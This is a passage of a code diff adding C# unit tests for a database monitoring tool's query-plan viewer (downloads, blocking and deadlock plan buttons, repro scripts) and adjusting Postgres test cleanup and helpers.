+        Assert.True(r.GetProperty("closed").GetBoolean());
+        // The open panel is drawn full width under the row (plan-row.js), not inside the last column (click-through 1).
+        Assert.Equal("plan-cell plan-open", Str(r, "openClass"));
+        Assert.True(r.GetProperty("hasSpacer").GetBoolean());
+        Assert.Equal("plan-cell", Str(r, "closedClass"));
+        // One observer while the panel is open and none once it is closed (plan-row.js disconnects it).
+        Assert.Equal(1, r.GetProperty("observersOpen").GetInt32());
+        Assert.Equal(0, r.GetProperty("observersClosed").GetInt32());
+    }
+
+    [Fact]
+    public void ThePrettyPrint_IsText_NotMarkup()
+    {
+        var r = Run("textOnly");
+        Assert.Equal(0, r.GetProperty("preChildren").GetInt32());
+        Assert.Equal(0, r.GetProperty("scriptElements").GetInt32());
+        // The entity-escaped script text in the statement attribute stays escaped text, character for character.
+        Assert.Contains("&lt;script&gt;", Str(r, "text"));
+        Assert.True(r.GetProperty("lines").GetInt32() > 5);
+        Assert.Equal("<a>\n  <b x=\"1>2\">t</b>\n  <c/>\n  <d>\n    <e/>\n  </d>\n</a>", Str(r, "pretty"));
+        Assert.Equal("not xml <at all", Str(r, "notXml"));
+    }
+
+    [Fact]
+    public void Download_IsAnXmlBlob_NamedForTheQueryHash_HoldingTheStoredXml()
+    {
+        var r = Run("download");
+        Assert.Equal("0xABCDEF0123456789.sqlplan", Str(r, "name"));
+        Assert.Equal("application/xml", Str(r, "type"));
+        Assert.True(r.GetProperty("bodyIsStored").GetBoolean());
+        Assert.Equal("a_b_c.sqlplan", Str(r, "safeName"));
+    }
+
+    [Fact]
+    public void Copy_PutsTheShownTextOnTheClipboard()
+    {
+        var r = Run("copy");
+        Assert.True(r.GetProperty("matchesShown").GetBoolean());
+        Assert.Contains("\n  <BatchSequence>", Str(r, "copied"));
+    }
+
+    [Fact]
+    public void ATruncatedPlan_SaysSo_AndTurnsDownloadOff()
+    {
+        var r = Run("truncated");
+        Assert.True(r.GetProperty("disabled").GetBoolean());
+        Assert.Equal(0, r.GetProperty("downloads").GetInt32());
+        Assert.Contains("500 KB", Str(r, "notice"));
+        Assert.Contains("Download is turned off", Str(r, "notice"));
+        Assert.False(r.GetProperty("shown").GetBoolean());
+        Assert.True(r.GetProperty("copyOn").GetBoolean());
+    }
+
+    [Fact]
+    public void AQueryWithNoStoredPlan_SaysSo_WithNoDownload()
+    {
+        var r = Run("noPlan");
+        Assert.Contains("No stored plan found", Str(r, "text"));
+        Assert.False(r.GetProperty("hasPre").GetBoolean());
+        Assert.False(r.GetProperty("hasDownload").GetBoolean());
+    }
+
+    [Fact]
+    public void AnOpenPanel_SurvivesTheRebuild_WithoutAnotherRead()
+    {
+        var r = Run("rebuild");
+        Assert.True(r.GetProperty("open").GetBoolean());
+        Assert.True(r.GetProperty("showsPlan").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refetched").GetInt32());
+        Assert.False(r.GetProperty("otherServerOpen").GetBoolean());
+        Assert.True(r.GetProperty("loadingInNew").GetBoolean());
+        Assert.True(r.GetProperty("filledNew").GetBoolean());
+    }
+
+    private static string[] Strs(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void EachRowKind_ReadsItsOwnTool_WithTheRowsKeyExactlyAsHeld()
+    {
+        var r = Run("kinds");
+
+        Assert.Equal(new[] { "has_query_plan", "has_live_query_plan" }, Strs(r, "activeKeys"));
+        Assert.Equal(new[] { "Plan", "Live plan" }, Strs(r, "activeLabels"));
+        Assert.True(r.GetProperty("activeHide").GetBoolean());
+        Assert.True(r.GetProperty("planColsNoFilter").GetBoolean());
+        Assert.True(r.GetProperty("planColsNoFilterNoCopy").GetBoolean(), "every plan column, planColumn and the blocking and deadlock columns included, sets filter, copy and csv to false: an open panel's XML is the cell's text");
+
+        Assert.Equal("/api/read/get_active_query_plan_xml", Str(r, "activePath"));
+        var est = r.GetProperty("activeQuery");
+        Assert.Equal("srv-a", Str(est, "server"));
+        /* The timestamp is the row's own string, all seven fractional digits, untouched. */
+        Assert.Equal("2026-03-04T05:06:07.1234560", Str(est, "collection_time"));
+        Assert.Equal("57", Str(est, "session_id"));
+        Assert.Equal("3", Str(est, "request_id"));
+        Assert.False(est.TryGetProperty("live", out _));
+
+        var live = r.GetProperty("liveQuery");
+        Assert.Equal("true", Str(live, "live"));
+        Assert.Equal("0", Str(live, "request_id"));       /* a row with no request_id reads as 0 */
+        Assert.Equal("\u2014", Str(r, "noFlagCell"));
+        Assert.Equal("\u2014", Str(r, "noLiveFlagCell"));
+
+        Assert.Equal("query_id", Str(r, "qsKey"));
+        Assert.Equal("/api/read/get_query_store_plan_xml", Str(r, "qsPath"));
+        var qs = r.GetProperty("qsQuery");
+        Assert.Equal("Orders", Str(qs, "database_name"));
+        Assert.Equal("42", Str(qs, "query_id"));
+        Assert.Equal("7", Str(qs, "plan_id"));
+        Assert.False(r.GetProperty("qsNoPlanIdQuery").TryGetProperty("plan_id", out _));
+        Assert.Equal("\u2014", Str(r, "qsNoKey"));
+
+        Assert.Equal("sql_handle", Str(r, "procKey"));
+        Assert.True(r.GetProperty("procHide").GetBoolean());
+        Assert.Equal("/api/read/get_procedure_plan_xml", Str(r, "procPath"));
+        Assert.Equal("0x0300050011223344", Str(r.GetProperty("procQuery"), "sql_handle"));
+        Assert.Equal("\u2014", Str(r, "procNoHandle"));
+
+        // Blocking (#5236): two columns, keyed on their own flags. The query string is the row's strings in the read's
+        // documented order; the blocked side sends no side, the blocking side sends side=blocking, and a missing ecid reads as 0.
+        Assert.Equal(new[] { "has_blocked_plan", "has_blocking_plan" }, Strs(r, "blockingKeys"));
+        Assert.Equal(new[] { "Blocked plan", "Blocking plan" }, Strs(r, "blockingLabels"));
+        Assert.True(r.GetProperty("blockingHide").GetBoolean());
+        Assert.Equal("/api/read/get_blocking_plan_xml", Str(r, "blockedPath"));
+        Assert.Equal("?server=srv-a&event_time=2026-03-04T05%3A06%3A07.1234567&blocked_spid=57&blocked_ecid=1&blocking_spid=61&blocking_ecid=2", Str(r, "blockedSearch"));
+        Assert.Equal("?server=srv-a&event_time=2026-03-04T05%3A06%3A07.1234567&blocked_spid=57&blocked_ecid=1&blocking_spid=61&blocking_ecid=2&side=blocking", Str(r, "blockingSearch"));
+        /* The fraction keeps all seven digits, trailing zero included: the store matches the stamp for equality. */
+        Assert.Equal("?server=srv-a&event_time=2026-03-04T05%3A06%3A07.1234560&blocked_spid=57&blocked_ecid=0&blocking_spid=61&blocking_ecid=0", Str(r, "blockedNoEcidSearch"));
+        /* The row's database_name is sent last when the row has one; the searches above, from rows without one, carry none. */
+        Assert.Equal("?server=srv-a&event_time=2026-03-04T05%3A06%3A07.1234567&blocked_spid=57&blocked_ecid=1&blocking_spid=61&blocking_ecid=2&database_name=Orders", Str(r, "blockedDbSearch"));
+
+        // Deadlocks (#5236): the victim's plan by the two stamps, with the victim's process id when the row has one.
+        Assert.Equal("has_victim_plan", Str(r, "deadlockKey"));
+        Assert.Equal("Victim plan", Str(r, "deadlockLabel"));
+        Assert.True(r.GetProperty("deadlockHide").GetBoolean());
+        Assert.Equal("/api/read/get_deadlock_plan_xml", Str(r, "deadlockPath"));
+        Assert.Equal("?server=srv-a&collection_time=2026-03-04T05%3A06%3A08.5000000&deadlock_time=2026-03-04T05%3A06%3A07.1230000&victim_process_id=process1a2b", Str(r, "deadlockSearch"));
+        Assert.Equal("?server=srv-a&collection_time=2026-03-04T05%3A06%3A08.5000000&deadlock_time=2026-03-04T05%3A06%3A07.1230000", Str(r, "deadlockNoVictimSearch"));
+        Assert.Equal("?server=srv-a&collection_time=2026-03-04T05%3A06%3A08.5000000&deadlock_time=2026-03-04T05%3A06%3A07.1230000&victim_process_id=process1a2b&database_name=Orders", Str(r, "deadlockDbSearch"));
+
+        Assert.True(r.GetProperty("keysUnique").GetBoolean());
+    }
+
+    [Fact]
+    public void TwoSources_NeverShareAPanel_AndTheQueryHashKeyKeepsItsOldShape()
+    {
+        var r = Run("kindsDoNotShareAPanel");
+        Assert.True(r.GetProperty("aOpen").GetBoolean());
+        Assert.False(r.GetProperty("bOpenAfterA").GetBoolean());
+        Assert.False(r.GetProperty("liveOpenAfterEst").GetBoolean());
+        Assert.Equal(2, r.GetProperty("keys").GetArrayLength());
+        Assert.Equal("srv-a|Orders|0xABC", Str(r, "hashKey"));
+
+        // #5236: a blocked process report row's blocked and blocking plans are two panels, not one; two deadlocks with
+        // the same stamps and different victims are two panels as well.
+        Assert.False(r.GetProperty("blockingOpenAfterBlocked").GetBoolean());
+        Assert.True(r.GetProperty("bothSidesOpen").GetBoolean());
+        Assert.Equal(new[] { "srv-a|@blocking||T|1|0|2|0|blocked", "srv-a|@blocking||T|1|0|2|0|blocking" }, Strs(r, "sideKeys"));
+        Assert.False(r.GetProperty("victim2OpenAfterVictim1").GetBoolean());
+        Assert.True(r.GetProperty("bothVictimsOpen").GetBoolean());
+        Assert.Equal(new[] { "srv-a|@deadlock_victim||C|D|process1", "srv-a|@deadlock_victim||C|D|process2" }, Strs(r, "victimKeys"));
+
+        // The row's database is in the key too: the same report key (and the same deadlock stamps and victim) in two databases are
+        // two panels, never one.
+        Assert.False(r.GetProperty("dbTwoOpenAfterDbOne").GetBoolean());
+        Assert.True(r.GetProperty("bothDatabasesOpen").GetBoolean());
+        Assert.Equal(new[] { "srv-a|@blocking|DbOne|T|1|0|2|0|blocked", "srv-a|@blocking|DbTwo|T|1|0|2|0|blocked" }, Strs(r, "databaseKeys"));
+        Assert.False(r.GetProperty("victimDbTwoOpenAfterDbOne").GetBoolean());
+    }
+
+    [Fact]
+    public void EachKind_DownloadsUnderAFileNameOfItsOwn()
+    {
+        var r = Run("stems");
+        var names = Strs(r, "names");
+        Assert.Equal(6, names.Distinct().Count());
+        Assert.All(names, n => Assert.EndsWith(".sqlplan", n));
+        Assert.Equal("active-57-2026-03-04T05_06_07.1234560-live.sqlplan", names[0]);
+        Assert.Equal("qs-Orders-42-7.sqlplan", names[1]);
+        Assert.Equal("0x03000500AA.sqlplan", names[2]);
+        // #5236: the blocked and the blocking side of one report download under their own names, then the deadlock victim.
+        Assert.Equal("blocked-57-2026-03-04T05_06_07.1234567.sqlplan", names[3]);
+        Assert.Equal("blocking-61-2026-03-04T05_06_07.1234567.sqlplan", names[4]);
+        Assert.Equal("deadlock-victim-2026-03-04T05_06_07.1230000-process1a2b.sqlplan", names[5]);
+    }
+
+    [Fact]
+    public void ARowKindPanel_SurvivesTheRebuild_WithoutAnotherRead()
+    {
+        var r = Run("rebuildKinds");
+        Assert.True(r.GetProperty("open").GetBoolean());
+        Assert.True(r.GetProperty("showsPlan").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refetched").GetInt32());
+
+        // #5236: a blocking side and a deadlock victim keep their open panels across the rebuild too.
+        Assert.True(r.GetProperty("blockingOpen").GetBoolean());
+        Assert.True(r.GetProperty("blockingShowsPlan").GetBoolean());
+        Assert.True(r.GetProperty("victimOpen").GetBoolean());
+        Assert.True(r.GetProperty("victimShowsPlan").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refetchedRows").GetInt32());
+    }
+
+    /// <summary>A source's scope (#5234) is part of its panel key, so one plan opened from two places is two panels, and the
+    /// scope never goes to the read.</summary>
+    [Fact]
+    public void ASourceScope_KeepsTheSamePlanInTwoPlacesAsTwoPanels_AndIsNotSentToTheRead()
+    {
+        var r = Run("scopedSource");
+        Assert.True(r.GetProperty("scopedOpen").GetBoolean());
+        Assert.False(r.GetProperty("plainOpen").GetBoolean());
+        Assert.False(r.GetProperty("otherOpen").GetBoolean());
+        Assert.Equal(new[] { "srv-a|@query_store|Orders|42|7|@scope|panel-a" }, Strs(r, "keys"));
+        var query = r.GetProperty("query");
+        Assert.False(query.TryGetProperty("scope", out _));
+        Assert.Equal("7", query.GetProperty("plan_id").GetString());
+        Assert.True(r.GetProperty("againOpen").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refetched").GetInt32());
+    }
+
+    /// <summary>Three rows a build, rebuilt twelve times without a click: first the same rows each time, then new rows each
+    /// time. The set holds the grid on the page and the one being built, so six cells at most.</summary>
+    [Fact]
+    public void RebuildingAPlanGridWithoutAClick_KeepsTheRedrawSetBounded()
+    {
+        var r = Run("rebuildsBounded");
+        foreach (var phase in new[] { "sameRows", "newRows" })
+        {
+            var p = r.GetProperty(phase);
+            var after = p.GetProperty("after").EnumerateArray().Select(e => e.GetInt32()).ToArray();
+            Assert.All(after, n => Assert.InRange(n, 3, 6));
+            Assert.Equal(6, after[^1]);
+            // The cells of the build in progress are not on the page yet, and a later cell of that build must not drop them.
+            Assert.Equal(6, p.GetProperty("during").EnumerateArray().Last().GetInt32());
+        }
+        Assert.Equal(6, r.GetProperty("keys").GetInt32());
+    }
+
+    [Fact]
+    public void AQueryStoreRowWithNoStoredPlan_SaysSo()
+    {
+        var r = Run("noPlanKind");
+        Assert.Contains("No stored Query Store plan found", Str(r, "text"));
+        Assert.False(r.GetProperty("hasPre").GetBoolean());
+    }
+
+    /// <summary>#5236: a Deadlocks row with no victim id reads by its two times alone. When the read refuses (the deadlocks
+    /// with those times name more than one victim), the panel shows the refusal's message in its error strip, not a blank pane.</summary>
+    [Fact]
+    public void ADeadlockRowWithNoVictim_ShowsTheReadsRefusalMessage_NotABlankPane()
+    {
+        var r = Run("deadlockRefusal");
+        Assert.Equal("/api/read/get_deadlock_plan_xml", Str(r, "path"));
+        Assert.False(r.GetProperty("hasVictimParam").GetBoolean());
+        Assert.Contains("Pass the row's victim_process_id to pick one", Str(r, "text"));
+        Assert.Equal(1, r.GetProperty("strip").GetInt32());
+        Assert.False(r.GetProperty("hasPre").GetBoolean());
+        Assert.False(r.GetProperty("hasDownload").GetBoolean());
+    }
+
+    [Fact]
+    public void ANullSource_IsADash()
+    {
+        var r = Run("nullSource");
+        Assert.Equal("\u2014", Str(r, "cell"));
+        // #5236: a DMV row (no flag, no event time), a report or deadlock without its flag, a missing row, and a flagged row
+        // that lacks a value the read keys on are all dashes, and none of them reads anything.
+        var dash = "\u2014";
+        Assert.Equal(new[] { dash, dash }, Strs(r, "dmvCells"));
+        Assert.Equal(new[] { dash, dash }, Strs(r, "unflaggedBlockingCells"));
+        Assert.Equal(dash, Str(r, "unflaggedVictimCell"));
+        Assert.Equal(new[] { dash, dash, dash }, Strs(r, "noRowCells"));
+        Assert.Equal(new[] { dash, dash, dash, dash, dash, dash }, Strs(r, "noKeyCells"));
+        Assert.Equal(0, r.GetProperty("fetched").GetInt32());
+    }
+
+    /// <summary>A blocked process report row (#5236) gets a Blocked plan and a Blocking plan button, each only where its own
+    /// flag is exactly true; each opens its own plan, so the two sides of one row are two reads and two panels.</summary>
+    [Fact]
+    public void ABlockingRow_DrawsEachButton_OnlyWhereItsFlagIs()
+    {
+        var r = Run("blockingButtons");
+        var dash = "\u2014";
+        Assert.Equal(new[] { "Blocked plan", "Blocking plan" }, Strs(r, "both"));
+        Assert.Equal(new[] { "Blocked plan", dash }, Strs(r, "blockedOnly"));
+        Assert.Equal(new[] { dash, "Blocking plan" }, Strs(r, "blockingOnly"));
+        Assert.Equal(new[] { dash, dash }, Strs(r, "neither"));
+        // false, null, 0, 1, "true", "yes", {} and [] are not true: no button for any of them.
+        Assert.Equal(8, r.GetProperty("looseFlags").GetArrayLength());
+        Assert.All(Strs(r, "looseFlags"), cells => Assert.Equal(dash + "|" + dash, cells));
+        // The flags alone decide: an XE row with flags has both buttons, a DMV row without them has none.
+        Assert.Equal(new[] { "Blocked plan", "Blocking plan" }, Strs(r, "xeFlagged"));
+        Assert.Equal(new[] { dash, dash }, Strs(r, "dmvFlagless"));
+
+        Assert.Equal("?server=srv-a&event_time=2026-03-04T05%3A06%3A07.1234567&blocked_spid=57&blocked_ecid=0&blocking_spid=61&blocking_ecid=0", Str(r, "blockedSearch"));
+        Assert.True(r.GetProperty("blockingClosed").GetBoolean(), "opening the blocked plan must not open the blocking one");
+        Assert.True(r.GetProperty("blockedShows").GetBoolean());
+        Assert.Equal("?server=srv-a&event_time=2026-03-04T05%3A06%3A07.1234567&blocked_spid=57&blocked_ecid=0&blocking_spid=61&blocking_ecid=0&side=blocking", Str(r, "blockingSearch"));
+        Assert.True(r.GetProperty("bothShow").GetBoolean());
+        Assert.Equal(2, r.GetProperty("reads").GetInt32());
+        Assert.Equal(2, r.GetProperty("panels").GetInt32());
+        Assert.True(r.GetProperty("otherPairClosed").GetBoolean(), "another session pair at the same time is another panel");
+    }
+
+    /// <summary>A deadlock row (#5236) gets a Victim plan button only where its flag is exactly true; two deadlocks that
+    /// carry the same stamps and different victims each open a plan of their own.</summary>
+    [Fact]
+    public void ADeadlockRow_DrawsTheVictimButton_OnlyWhereItsFlagIs()
+    {
+        var r = Run("victimButton");
+        var dash = "\u2014";
+        Assert.Equal("Victim plan", Str(r, "flagged"));
+        Assert.Equal(dash, Str(r, "unflagged"));
+        Assert.Equal(8, r.GetProperty("looseFlags").GetArrayLength());
+        Assert.All(Strs(r, "looseFlags"), cell => Assert.Equal(dash, cell));
+        Assert.EndsWith("&victim_process_id=process1a2b", Str(r, "firstSearch"));
+        Assert.True(r.GetProperty("secondClosed").GetBoolean());
+        Assert.EndsWith("&victim_process_id=process9z9z", Str(r, "secondSearch"));
+        Assert.True(r.GetProperty("bothShow").GetBoolean());
+        Assert.Equal(2, r.GetProperty("panels").GetInt32());
+    }
+
+    [Fact]
+    public void TheReproButton_ReadsTheScript_AndShowsItAsTextWithCopyAndSqlDownload()
+    {
+        var r = Run("repro");
+        Assert.True(r.GetProperty("hasReproButton").GetBoolean());
+        Assert.Equal("/api/read/get_query_repro_script", Str(r, "path"));
+        var q = r.GetProperty("query");
+        Assert.Equal("query_store", q.GetProperty("kind").GetString());
+        Assert.Equal("Orders", q.GetProperty("database_name").GetString());
+        Assert.Equal("42", q.GetProperty("query_id").GetString());
+        Assert.Equal("7", q.GetProperty("plan_id").GetString());
+        Assert.Equal("USE [Orders];\nselect 1;", Str(r, "pre"));
+        Assert.Equal("pre", Str(r, "preTag"));
+        Assert.True(r.GetProperty("noNotice").GetBoolean());
+        Assert.Equal("USE [Orders];\nselect 1;", Str(r, "clip"));
+        Assert.Equal("qs-Orders-42-7.sql", Str(r, "download"));
+        Assert.StartsWith("application/sql", Str(r, "downloadType"));
+        Assert.True(r.GetProperty("hideLabel").GetBoolean());
+    }
+
+    [Fact]
+    public void AReproWithNoStoredPlan_SaysSo_AndStillShowsTheScript()
+    {
+        var r = Run("reproNoPlanFound");
+        Assert.Contains("No stored plan was found", Str(r, "notice"));
+        Assert.True(r.GetProperty("hasScript").GetBoolean());
+        Assert.Equal("query_hash", r.GetProperty("query").GetProperty("kind").GetString());
+        Assert.Equal("0xAB", r.GetProperty("query").GetProperty("query_hash").GetString());
+    }
+
+    [Fact]
+    public void WithNoStoredPlan_TheReproIsStillOffered_AndShowsTheScriptWithTheNoPlanNotice()
+    {
+        var r = Run("reproWithNoStoredPlan");
+        Assert.False(r.GetProperty("hasPre").GetBoolean());
+        Assert.True(r.GetProperty("hasReproButton").GetBoolean());
+        Assert.True(r.GetProperty("noPlanStrip").GetBoolean());
+        Assert.True(r.GetProperty("hasScript").GetBoolean());
+        Assert.Contains("No stored plan was found", Str(r, "notice"));
+        Assert.Equal("0xAB", r.GetProperty("query").GetProperty("query_hash").GetString());
+    }
+
+    [Fact]
+    public void AReproWithNoStoredText_ShowsTheEnvelope_NotAScript()
+    {
+        var r = Run("reproUnavailable");
+        Assert.Contains("No stored query text found", Str(r, "text"));
+        Assert.False(r.GetProperty("hasScript").GetBoolean());
+    }
+
+    [Fact]
+    public void ALivePlanRow_AsksForTheReproWithoutLive()
+    {
+        var q = Run("activeSendsNoLive").GetProperty("query");
+        Assert.Equal("active_snapshot", q.GetProperty("kind").GetString());
+        Assert.Equal("57", q.GetProperty("session_id").GetString());
+        Assert.False(q.TryGetProperty("live", out _));
+    }
+
+    [Fact]
+    public void AProcedurePlan_HasNoReproButton()
+    {
+        var r = Run("procedureHasNoRepro");
+        Assert.True(r.GetProperty("hasPlan").GetBoolean());
+        Assert.False(r.GetProperty("hasRepro").GetBoolean());
+    }
+
+    [Fact]
+    public void AnOpenRepro_SurvivesTheRebuild_WithoutAnotherRead_AndClosesWithItsPlan()
+    {
+        var r = Run("reproSurvivesRebuild");
+        Assert.True(r.GetProperty("open").GetBoolean());
+        Assert.True(r.GetProperty("showsScript").GetBoolean());
+        Assert.Equal(0, r.GetProperty("refetched").GetInt32());
+        Assert.True(r.GetProperty("reproClosedWithPlan").GetBoolean());
+    }
+}
diff --git a/Darling/Darling.Tests/PlanViewerCapabilityPinTests.cs b/Darling/Darling.Tests/PlanViewerCapabilityPinTests.cs
index 92f177eb68..6c722e9845 100644
--- a/Darling/Darling.Tests/PlanViewerCapabilityPinTests.cs
+++ b/Darling/Darling.Tests/PlanViewerCapabilityPinTests.cs
@@ -31,6 +31,7 @@ namespace Darling.Tests;
 /// the same PR; regenerate ONLY via <c>PM_PIN_REGEN=1</c>. Text-scans SOURCE, located from this file's
 /// compile-time path -- NO WPF / assembly load.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PlanViewerCapabilityPinTests
 {
     /* Probe = (stable capability name, a substring that proves it is still present). Wire probes use the
diff --git a/Darling/Darling.Tests/PlanViewerRuntimeSummaryNestingTests.cs b/Darling/Darling.Tests/PlanViewerRuntimeSummaryNestingTests.cs
index dd0fc9b104..b72d5c528c 100644
--- a/Darling/Darling.Tests/PlanViewerRuntimeSummaryNestingTests.cs
+++ b/Darling/Darling.Tests/PlanViewerRuntimeSummaryNestingTests.cs
@@ -29,6 +29,7 @@ namespace Darling.Tests;
 /// product surface; <see cref="PlanViewerControl.LoadPlan"/> is not used because it awaits <c>Task.Run</c>
 /// and nothing here pumps a dispatcher.
 /// </summary>
+[Trait("Cost", "Slow")]
 public sealed class PlanViewerRuntimeSummaryNestingTests
 {
     private static PlanStatement StatementWith(string? optimizationLevel, string? earlyAbortReason) => new()
@@ -42,7 +43,7 @@ public sealed class PlanViewerRuntimeSummaryNestingTests
     [Fact]
     public void RuntimeSummary_EarlyAbortUnderOptimization_IndentsItsLabelOnly()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var control = new PlanViewerControl();
             try
@@ -84,7 +85,7 @@ public void RuntimeSummary_EarlyAbortUnderOptimization_IndentsItsLabelOnly()
     [Fact]
     public void RuntimeSummary_EarlyAbortWithNoOptimizationRow_IsNotIndented()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var control = new PlanViewerControl();
             try
@@ -124,22 +125,4 @@ private static (TextBlock Label, TextBlock Value) RowOf(Grid grid, string label)
         return (labelText, valueText);
     }
 
-    /// <summary>WPF objects require STA; same shape as the other WPF tests here.</summary>
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
 }
diff --git a/Darling/Darling.Tests/PostgresDatabaseListScreenLivePostgresTests.cs b/Darling/Darling.Tests/PostgresDatabaseListScreenLivePostgresTests.cs
index aa1b859082..7ac26334b7 100644
--- a/Darling/Darling.Tests/PostgresDatabaseListScreenLivePostgresTests.cs
+++ b/Darling/Darling.Tests/PostgresDatabaseListScreenLivePostgresTests.cs
@@ -123,13 +123,15 @@ Deliberately NOT an assertion on the total count — the own-store classes creat
                this test leaked would then go unreported even on a passing run, and the NEXT run would find
                rdsadmin already present, not create it, and so never drop it either. RunAsync stays silent
                only while the body's own failure is in flight. */
-            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            /* #5549: the cleanup connection runs the drops, so it is unpooled; a pooled one would hand the backend that ran a
+               DROP DATABASE to the next test. */
+            await LiveStoreCleanup.RunAsync(ScratchPostgres.UnpooledAdminConnectionString(cs!), bodySucceeded, async (cleanup, cleanupCt) =>
             {
-                await DropAsync(cleanup, CustomerDatabase, cleanupCt);
+                await DropAsync(cs!, cleanup, CustomerDatabase, cleanupCt);
 
                 if (weCreatedRdsadmin)
                 {
-                    await DropAsync(cleanup, ManagedMaintenanceDatabase, cleanupCt);
+                    await DropAsync(cs!, cleanup, ManagedMaintenanceDatabase, cleanupCt);
                 }
             });
         }
@@ -142,7 +144,8 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
     private static async Task<bool> CreateIfAbsentAsync(
         string adminConnectionString, string databaseName, CancellationToken cancellationToken)
     {
-        await using var admin = new NpgsqlConnection(adminConnectionString);
+        /* #5549: unpooled, like the drop that undoes this create. */
+        await using var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(adminConnectionString));
         await admin.OpenAsync(cancellationToken);
 
         await using (var exists = new NpgsqlCommand("SELECT 1 FROM pg_database WHERE datname = $1", admin))
@@ -169,8 +172,10 @@ no caller can reach this with an arbitrary string. */
     /// <see cref="ScratchPostgres"/>'s teardown. <c>IF EXISTS</c> because the create is conditional.</para>
     /// </summary>
     private static async Task DropAsync(
-        NpgsqlConnection connection, string databaseName, CancellationToken cancellationToken)
+        string connectionString, NpgsqlConnection connection, string databaseName, CancellationToken cancellationToken)
     {
+        /* No TimescaleDB job worker is left in the database the FORCE drop below kills (#5480). */
+        await ScratchPostgres.QuiesceTimescaleJobsAsync(connectionString, databaseName);
         await using var drop = new NpgsqlCommand(
             $"DROP DATABASE IF EXISTS \"{databaseName}\" WITH (FORCE)", connection);
         await drop.ExecuteNonQueryAsync(cancellationToken);
diff --git a/Darling/Darling.Tests/PostgresEngineGateBehaviorTests.cs b/Darling/Darling.Tests/PostgresEngineGateBehaviorTests.cs
index a8671fccfb..5d9a4fa1d5 100644
--- a/Darling/Darling.Tests/PostgresEngineGateBehaviorTests.cs
+++ b/Darling/Darling.Tests/PostgresEngineGateBehaviorTests.cs
@@ -237,7 +237,8 @@ public async Task ReconcileLongQueryCompletions_AgainstAPostgresTarget_ReturnsBe
     {
         /* runner is null on purpose: reaching it would mean the gate did not fire. */
         await DarlingXeSessions.ReconcileLongQueryCompletionsAsync(
-            PostgresRuntime(), runner: null!, enabled, NullLogger<DarlingWorker>.Instance, CancellationToken.None);
+            PostgresRuntime(), runner: null!, enabled, LongQueryTracePass.Full, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(),
+            createFailureWarned: false, NullLogger<DarlingWorker>.Instance, CancellationToken.None);
     }
 
     /// <summary>
@@ -252,9 +253,15 @@ public async Task ReconcileLongQueryCompletions_SameStringButSqlServerEngine_Thr
         /* The engine is the ONLY difference from the gated case — same host, same connection string. */
         var ungated = PostgresRuntime(CollectorTargetEngine.SqlServer);
 
+        /* A runner with an install id, because a runner without one has no session to name and stops before it connects (#4961).
+           The store is never opened: this reconcile reaches only the SQL Server connection string. */
+        await using var store = Npgsql.NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+        var runner = new DarlingCollectorRunner(store, new CollectorDeltaCalculator(), installId: () => "0a1b2c3d");
+
         var ex = await Assert.ThrowsAsync<ArgumentException>(() =>
             DarlingXeSessions.ReconcileLongQueryCompletionsAsync(
-                ungated, runner: null!, enabled: true, NullLogger<DarlingWorker>.Instance, CancellationToken.None));
+                ungated, runner, enabled: true, LongQueryTracePass.Full, Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(),
+                createFailureWarned: false, NullLogger<DarlingWorker>.Instance, CancellationToken.None));
 
         /* The words from the sweep log, so a future reader can match this pin to that incident. */
         Assert.Contains("Keyword not supported", ex.Message, StringComparison.Ordinal);
@@ -488,6 +495,7 @@ private static DarlingWorker PassCapableWorker(NpgsqlDataSource postgres)
         SetField(worker, "_serversLock", new object());
         SetField(worker, "_logger", NullLogger<DarlingWorker>.Instance);
         SetField(worker, "_postgres", postgres);
+        SetField(worker, "_collectorFaultStacks", new CollectorFaultStackLog());
         /* The analysis pass reads the published registry for an Azure master target's separately monitored
            databases. Unpublished, it reads as none, as it does before the worker first publishes. */
         SetField(worker, "_registryState", new PerformanceMonitor.Darling.Service.Mcp.MonitoredServerRegistryState());
@@ -662,6 +670,9 @@ private static IReadOnlyList<ScheduleOverride> SingleEnabledCollectorOverrides(i
         SetField(worker, "_logger", NullLogger<DarlingWorker>.Instance);
         SetField(worker, "_postgres", postgres);
         SetField(worker, "_scheduleOverrides", SingleEnabledCollectorOverrides(serverId));
+        /* A collector that fails here lands in RunOneAsync's general arm, which records the first failure of each
+           kind in this log. An uninitialized worker skips the field initializer, so the log is set here. */
+        SetField(worker, "_collectorFaultStacks", new CollectorFaultStackLog());
 
         var runner = new DarlingCollectorRunner(
             postgres, new CollectorDeltaCalculator(), NullLogger<DarlingCollectorRunner>.Instance);
diff --git a/Darling/Darling.Tests/PostgresFaultOutcomeTests.cs b/Darling/Darling.Tests/PostgresFaultOutcomeTests.cs
index b333ea2335..87aaa51974 100644
--- a/Darling/Darling.Tests/PostgresFaultOutcomeTests.cs
+++ b/Darling/Darling.Tests/PostgresFaultOutcomeTests.cs
@@ -1267,8 +1267,11 @@ public void TheClassifiedFaultArmsRecordElapsedTimeInTheSlotTheTimeWasSpent()
            census keyed on the status strings and earns its own pin here. */
         Assert.Single(Regex.Matches(worker, @"collectorName, status, 0, runClock\.ElapsedMilliseconds, 0"));
 
-        /* Never queried the target - the RDS log API and Performance Insights are both HTTPS. */
-        Assert.Equal(2, Regex.Matches(worker, @"""PERMISSIONS"", 0, 0, runClock\.ElapsedMilliseconds").Count);
